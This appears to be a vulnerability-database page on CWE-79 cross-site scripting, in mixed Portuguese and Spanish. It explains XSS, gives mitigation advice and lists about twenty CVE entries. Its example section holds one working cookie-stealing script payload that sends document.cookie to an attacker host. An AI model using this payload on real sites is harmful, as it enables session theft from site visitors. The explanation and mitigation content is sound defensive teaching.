Fallos del tipo CWE-79

28.650 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-4860MEDIUMD-Link DAP-2695 Static Pool Settings Page adv_dhcps.php cross site scriptingEPSS 0.8%CVE-2019-16010MEDIUMCisco SD-WAN Solution vManage Stored Cross-Site Scripting VulnerabilityEPSS 0.8%CVE-2023-6296MEDIUMosCommerce Instant Message compare cross site scriptingEPSS 0.8%CVE-2021-24883—Popup Anything < 2.0.4 - Contributor+ Stored Cross-Site ScriptingEPSS 0.8%CVE-2024-40492HIGHCross Site Scripting vulnerability in Heartbeat Chat v.15.2.1 allows a remote attacker to execute arbitrary code via the setname function.EPSS 0.8%CVE-2020-11036HIGHXSS in GLPIEPSS 0.8%CVE-2019-1956MEDIUMCisco SPA112 2-Port Phone Adapter Stored Cross-Site Scripting VulnerabilityEPSS 0.8%CVE-2019-1949MEDIUMCisco Firepower Management Center Persistent Cross-Site Scripting VulnerabilityEPSS 0.8%CVE-2024-34312MEDIUMVirtual Programming Lab for Moodle up to v4.2.3 was discovered to contain a cross-site scripting (XSS) vulnerability via the component vplidEPSS 0.8%CVE-2019-15268MEDIUMCisco Firepower Management Center Multiple Cross-Site Scripting VulnerabilitiesEPSS 0.8%CVE-2019-12667MEDIUMCisco IOS XE Software Stored Cross-Site Scripting VulnerabilityEPSS 0.8%CVE-2019-1973MEDIUMCisco Enterprise NFV Infrastructure Software Cross-site Scripting VulnerabilityEPSS 0.8%CVE-2019-12668MEDIUMCisco IOS and IOS XE Software Stored Banner Cross-Site Scripting VulnerabilityEPSS 0.8%CVE-2018-8918MEDIUMCross-site scripting (XSS) vulnerability in info.cgi in Synology Router Manager (SRM) before 1.1.7-6941 allows remote attackers to inject arEPSS 0.8%CVE-2022-23980MEDIUMWordPress Yasr – Yet Another Stars Rating plugin <= 2.9.9 - Cross-Site Scripting (XSS) vulnerabilityEPSS 0.8%CVE-2019-11827MEDIUMCross-site scripting (XSS) vulnerability in SYNO.NoteStation.Shard in Synology Note Station before 2.5.3-0863 allows remote attackers to injEPSS 0.8%CVE-2022-1351MEDIUMStored XSS in Tooltip in pimcore/pimcoreEPSS 0.8%CVE-2021-3950HIGHCross-site Scripting (XSS) - Stored in django-helpdesk/django-helpdeskEPSS 0.8%CVE-2023-35335HIGHMicrosoft Dynamics 365 (on-premises) Cross-site Scripting VulnerabilityEPSS 0.8%CVE-2018-13293MEDIUMCross-site scripting (XSS) vulnerability in Control Panel SSO Settings in Synology DiskStation Manager (DSM) before 6.2.1-23824 allows remotEPSS 0.8%